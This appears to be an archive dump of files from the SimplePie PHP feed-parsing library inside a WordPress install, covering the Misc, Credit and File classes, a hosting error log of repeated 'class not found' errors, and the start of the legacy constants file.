	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
}

function embed_flv(width, height, link, placeholder, loop, player) {
	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
}

function embed_wmedia(width, height, link) {
	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
}
END;
        echo $body;
    }

    /**
     * Get the SimplePie build timestamp
     *
     * Uses the git index if it exists, otherwise uses the modification time
     * of the newest file.
     */
    public static function get_build()
    {
        if (static::$SIMPLEPIE_BUILD !== null) {
            return static::$SIMPLEPIE_BUILD;
        }

        $root = dirname(__FILE__, 2);
        if (file_exists($root . '/.git/index')) {
            static::$SIMPLEPIE_BUILD = filemtime($root . '/.git/index');

            return static::$SIMPLEPIE_BUILD;
        } elseif (file_exists($root . '/SimplePie')) {
            $time = 0;
            foreach (glob($root . '/SimplePie/*.php') as $file) {
                if (($mtime = filemtime($file)) > $time) {
                    $time = $mtime;
                }
            }
            static::$SIMPLEPIE_BUILD = $time;

            return static::$SIMPLEPIE_BUILD;
        } elseif (file_exists(dirname(__FILE__) . '/Core.php')) {
            static::$SIMPLEPIE_BUILD = filemtime(dirname(__FILE__) . '/Core.php');

            return static::$SIMPLEPIE_BUILD;
        }

        static::$SIMPLEPIE_BUILD = filemtime(__FILE__);

        return static::$SIMPLEPIE_BUILD;
    }

    /**
     * Get the default user agent string
     *
     * @return string
     */
    public static function get_default_useragent()
    {
        return \SimplePie\SimplePie::NAME . '/' . \SimplePie\SimplePie::VERSION . ' (Feed Parser; ' . \SimplePie\SimplePie::URL . '; Allow like Gecko) Build/' . static::get_build();
    }

    /**
     * Format debugging information
     */
    public static function debug(&$sp)
    {
        $info = 'SimplePie ' . \SimplePie\SimplePie::VERSION . ' Build ' . static::get_build() . "\n";
        $info .= 'PHP ' . PHP_VERSION . "\n";
        if ($sp->error() !== null) {
            $info .= 'Error occurred: ' . $sp->error() . "\n";
        } else {
            $info .= "No error found.\n";
        }
        $info .= "Extensions:\n";
        $extensions = ['pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'];
        foreach ($extensions as $ext) {
            if (extension_loaded($ext)) {
                $info .= "    $ext loaded\n";
                switch ($ext) {
                    case 'pcre':
                        $info .= '      Version ' . PCRE_VERSION . "\n";
                        break;
                    case 'curl':
                        $version = curl_version();
                        $info .= '      Version ' . $version['version'] . "\n";
                        break;
                    case 'mbstring':
                        $info .= '      Overloading: ' . mb_get_info('func_overload') . "\n";
                        break;
                    case 'iconv':
                        $info .= '      Version ' . ICONV_VERSION . "\n";
                        break;
                    case 'xml':
                        $info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
                        break;
                }
            } else {
                $info .= "    $ext not loaded\n";
            }
        }
        return $info;
    }

    public static function silence_errors($num, $str)
    {
        // No-op
    }

    /**
     * Sanitize a URL by removing HTTP credentials.
     * @param string $url the URL to sanitize.
     * @return string the same URL without HTTP credentials.
     */
    public static function url_remove_credentials($url)
    {
        return preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url);
    }
}

class_alias('SimplePie\Misc', 'SimplePie_Misc', false);
src/Credit.php000064400000007666151024210710007266 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:credit>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_credit()} and {@see \SimplePie\Enclosure::get_credits()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_credit_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Credit
{
    /**
     * Credited role
     *
     * @var string
     * @see get_role()
     */
    public $role;

    /**
     * Organizational scheme
     *
     * @var string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Credited name
     *
     * @var string
     * @see get_name()
     */
    public $name;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($role = null, $scheme = null, $name = null)
    {
        $this->role = $role;
        $this->scheme = $scheme;
        $this->name = $name;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the role of the person receiving credit
     *
     * @return string|null
     */
    public function get_role()
    {
        if ($this->role !== null) {
            return $this->role;
        }

        return null;
    }

    /**
     * Get the organizational scheme
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the credited person/entity's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }
}

class_alias('SimplePie\Credit', 'SimplePie_Credit');
src/File.php000064400000031363151024210710006722 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Used for fetching remote files and reading local files
 *
 * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_file_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 * @todo Move to properly supporting RFC2616 (HTTP/1.1)
 */
class File
{
    public $url;
    public $useragent;
    public $success = true;
    public $headers = [];
    public $body;
    public $status_code = 0;
    public $redirects = 0;
    public $error;
    public $method = \SimplePie\SimplePie::FILE_SOURCE_NONE;
    public $permanent_url;

    public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false, $curl_options = [])
    {
        if (class_exists('idna_convert')) {
            $idn = new \idna_convert();
            $parsed = \SimplePie\Misc::parse_url($url);
            $url = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], null);
        }
        $this->url = $url;
        $this->permanent_url = $url;
        $this->useragent = $useragent;
        if (preg_match('/^http(s)?:\/\//i', $url)) {
            if ($useragent === null) {
                $useragent = ini_get('user_agent');
                $this->useragent = $useragent;
            }
            if (!is_array($headers)) {
                $headers = [];
            }
            if (!$force_fsockopen && function_exists('curl_exec')) {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_CURL;
                $fp = curl_init();
                $headers2 = [];
                foreach ($headers as $key => $value) {
                    $headers2[] = "$key: $value";
                }
                if (version_compare(\SimplePie\Misc::get_curl_version(), '7.10.5', '>=')) {
                    curl_setopt($fp, CURLOPT_ENCODING, '');
                }
                curl_setopt($fp, CURLOPT_URL, $url);
                curl_setopt($fp, CURLOPT_HEADER, 1);
                curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($fp, CURLOPT_FAILONERROR, 1);
                curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_REFERER, \SimplePie\Misc::url_remove_credentials($url));
                curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
                curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
                foreach ($curl_options as $curl_param => $curl_value) {
                    curl_setopt($fp, $curl_param, $curl_value);
                }

                $this->headers = curl_exec($fp);
                if (curl_errno($fp) === 23 || curl_errno($fp) === 61) {
                    curl_setopt($fp, CURLOPT_ENCODING, 'none');
                    $this->headers = curl_exec($fp);
                }
                $this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE);
                if (curl_errno($fp)) {
                    $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
                    $this->success = false;
                } else {
                    // Use the updated url provided by curl_getinfo after any redirects.
                    if ($info = curl_getinfo($fp)) {
                        $this->url = $info['url'];
                    }
                    curl_close($fp);
                    $this->headers = \SimplePie\HTTP\Parser::prepareHeaders($this->headers, $info['redirect_count'] + 1);
                    $parser = new \SimplePie\HTTP\Parser($this->headers);
                    if ($parser->parse()) {
                        $this->headers = $parser->headers;
                        $this->body = trim($parser->body);
                        $this->status_code = $parser->status_code;
                        if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) {
                            $this->redirects++;
                            $location = \SimplePie\Misc::absolutize_url($this->headers['location'], $url);
                            $previousStatusCode = $this->status_code;
                            $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                            $this->permanent_url = ($previousStatusCode == 301) ? $location : $url;
                            return;
                        }
                    }
                }
            } else {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN;
                $url_parts = parse_url($url);
                $socket_host = $url_parts['host'];
                if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
                    $socket_host = "ssl://$url_parts[host]";
                    $url_parts['port'] = 443;
                }
                if (!isset($url_parts['port'])) {
                    $url_parts['port'] = 80;
                }
                $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
                if (!$fp) {
                    $this->error = 'fsockopen error: ' . $errstr;
                    $this->success = false;
                } else {
                    stream_set_timeout($fp, $timeout);
                    if (isset($url_parts['path'])) {
                        if (isset($url_parts['query'])) {
                            $get = "$url_parts[path]?$url_parts[query]";
                        } else {
                            $get = $url_parts['path'];
                        }
                    } else {
                        $get = '/';
                    }
                    $out = "GET $get HTTP/1.1\r\n";
                    $out .= "Host: $url_parts[host]\r\n";
                    $out .= "User-Agent: $useragent\r\n";
                    if (extension_loaded('zlib')) {
                        $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
                    }

                    if (isset($url_parts['user']) && isset($url_parts['pass'])) {
                        $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
                    }
                    foreach ($headers as $key => $value) {
                        $out .= "$key: $value\r\n";
                    }
                    $out .= "Connection: Close\r\n\r\n";
                    fwrite($fp, $out);

                    $info = stream_get_meta_data($fp);

                    $this->headers = '';
                    while (!$info['eof'] && !$info['timed_out']) {
                        $this->headers .= fread($fp, 1160);
                        $info = stream_get_meta_data($fp);
                    }
                    if (!$info['timed_out']) {
                        $parser = new \SimplePie\HTTP\Parser($this->headers);
                        if ($parser->parse()) {
                            $this->headers = $parser->headers;
                            $this->body = $parser->body;
                            $this->status_code = $parser->status_code;
                            if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) {
                                $this->redirects++;
                                $location = \SimplePie\Misc::absolutize_url($this->headers['location'], $url);
                                $previousStatusCode = $this->status_code;
                                $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                                $this->permanent_url = ($previousStatusCode == 301) ? $location : $url;
                                return;
                            }
                            if (isset($this->headers['content-encoding'])) {
                                // Hey, we act dumb elsewhere, so let's do that here too
                                switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) {
                                    case 'gzip':
                                    case 'x-gzip':
                                        $decoder = new \SimplePie\Gzdecode($this->body);
                                        if (!$decoder->parse()) {
                                            $this->error = 'Unable to decode HTTP "gzip" stream';
                                            $this->success = false;
                                        } else {
                                            $this->body = trim($decoder->data);
                                        }
                                        break;

                                    case 'deflate':
                                        if (($decompressed = gzinflate($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (($decompressed = gzuncompress($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } else {
                                            $this->error = 'Unable to decode HTTP "deflate" stream';
                                            $this->success = false;
                                        }
                                        break;

                                    default:
                                        $this->error = 'Unknown content coding';
                                        $this->success = false;
                                }
                            }
                        }
                    } else {
                        $this->error = 'fsocket timed out';
                        $this->success = false;
                    }
                    fclose($fp);
                }
            }
        } else {
            $this->method = \SimplePie\SimplePie::FILE_SOURCE_LOCAL | \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS;
            if (empty($url) || !($this->body = trim(file_get_contents($url)))) {
                $this->error = 'file_get_contents could not read the file';
                $this->success = false;
            }
        }
    }
}

class_alias('SimplePie\File', 'SimplePie_File');
library/error_log000064400000010054151024210710010116 0ustar00[28-Oct-2025 06:55:20 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[29-Oct-2025 06:12:08 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[29-Oct-2025 06:18:39 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[01-Nov-2025 22:30:41 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 11:14:01 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 15:25:59 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:29:18 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:31:16 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:42:25 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 17:00:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 17:04:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 21:51:54 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
library/SimplePie.php000064400000041511151024210710010603 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2017, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.7.0
 * @copyright 2004-2017 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\SimplePie as NamespacedSimplePie;

class_exists('SimplePie\SimplePie');

// @trigger_error(sprintf('Using the "SimplePie" class is deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead */
    class SimplePie extends NamespacedSimplePie
    {
    }
}

/**
 * SimplePie Name
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAME instead.
 */
define('SIMPLEPIE_NAME', NamespacedSimplePie::NAME);

/**
 * SimplePie Version
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::VERSION instead.
 */
define('SIMPLEPIE_VERSION', NamespacedSimplePie::VERSION);

/**
 * SimplePie Build
 * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_build() instead.
 */
define('SIMPLEPIE_BUILD', gmdate('YmdHis', \SimplePie\Misc::get_build()));

/**
 * SimplePie Website URL
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::URL instead.
 */
define('SIMPLEPIE_URL', NamespacedSimplePie::URL);

/**
 * SimplePie Useragent
 * @see SimplePie::set_useragent()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_default_useragent() instead.
 */
define('SIMPLEPIE_USERAGENT', \SimplePie\Misc::get_default_useragent());

/**
 * SimplePie Linkback
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LINKBACK instead.
 */
define('SIMPLEPIE_LINKBACK', NamespacedSimplePie::LINKBACK);

/**
 * No Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_NONE instead.
 */
define('SIMPLEPIE_LOCATOR_NONE', NamespacedSimplePie::LOCATOR_NONE);

/**
 * Feed Link Element Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY instead.
 */
define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', NamespacedSimplePie::LOCATOR_AUTODISCOVERY);

/**
 * Local Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', NamespacedSimplePie::LOCATOR_LOCAL_EXTENSION);

/**
 * Local Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_BODY', NamespacedSimplePie::LOCATOR_LOCAL_BODY);

/**
 * Remote Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', NamespacedSimplePie::LOCATOR_REMOTE_EXTENSION);

/**
 * Remote Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_BODY', NamespacedSimplePie::LOCATOR_REMOTE_BODY);

/**
 * All Feed Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_ALL instead.
 */
define('SIMPLEPIE_LOCATOR_ALL', NamespacedSimplePie::LOCATOR_ALL);

/**
 * No known feed type
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_NONE instead.
 */
define('SIMPLEPIE_TYPE_NONE', NamespacedSimplePie::TYPE_NONE);

/**
 * RSS 0.90
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_090 instead.
 */
define('SIMPLEPIE_TYPE_RSS_090', NamespacedSimplePie::TYPE_RSS_090);

/**
 * RSS 0.91 (Netscape)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', NamespacedSimplePie::TYPE_RSS_091_NETSCAPE);

/**
 * RSS 0.91 (Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_USERLAND instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_USERLAND', NamespacedSimplePie::TYPE_RSS_091_USERLAND);

/**
 * RSS 0.91 (both Netscape and Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091 instead.
 */
define('SIMPLEPIE_TYPE_RSS_091', NamespacedSimplePie::TYPE_RSS_091);

/**
 * RSS 0.92
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_092 instead.
 */
define('SIMPLEPIE_TYPE_RSS_092', NamespacedSimplePie::TYPE_RSS_092);

/**
 * RSS 0.93
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_093 instead.
 */
define('SIMPLEPIE_TYPE_RSS_093', NamespacedSimplePie::TYPE_RSS_093);

/**
 * RSS 0.94
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_094 instead.
 */
define('SIMPLEPIE_TYPE_RSS_094', NamespacedSimplePie::TYPE_RSS_094);

/**
 * RSS 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_10 instead.
 */
define('SIMPLEPIE_TYPE_RSS_10', NamespacedSimplePie::TYPE_RSS_10);

/**
 * RSS 2.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_20 instead.
 */
define('SIMPLEPIE_TYPE_RSS_20', NamespacedSimplePie::TYPE_RSS_20);

/**
 * RDF-based RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_RDF instead.
 */
define('SIMPLEPIE_TYPE_RSS_RDF', NamespacedSimplePie::TYPE_RSS_RDF);

/**
 * Non-RDF-based RSS (truly intended as syndication format)
